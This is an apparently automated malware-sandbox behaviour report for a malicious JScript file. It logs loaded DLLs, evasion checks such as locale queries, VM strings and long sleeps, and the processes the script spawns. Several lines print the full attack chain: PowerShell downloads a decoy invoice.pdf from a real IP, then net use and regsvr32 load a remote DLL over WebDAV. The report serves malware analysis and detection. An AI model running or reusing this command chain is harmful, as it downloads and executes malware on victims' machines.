Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7047.js.csv");ITextStream.WriteLine(" entry:7153 f:udlsddfc");ITextStream.WriteLine(" exec:2 f:udlsddfc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4363			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5305			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2820	Thread sleep count: 4363 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2820	Thread sleep count: 5305 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5428	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6392	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6584	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7388	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2182667991.00000246BE691000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183504991.00000246BE691000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2169544882.00000246BE691000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF0pd
Source: net.exe, 00000007.00000003.2182667991.00000246BE691000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183504991.00000246BE691000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2183240266.00000246BE628000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2169544882.00000246BE691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3396189680.000001791D45A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3395033115.0000017917E27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.2111663930.00000243DF29E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

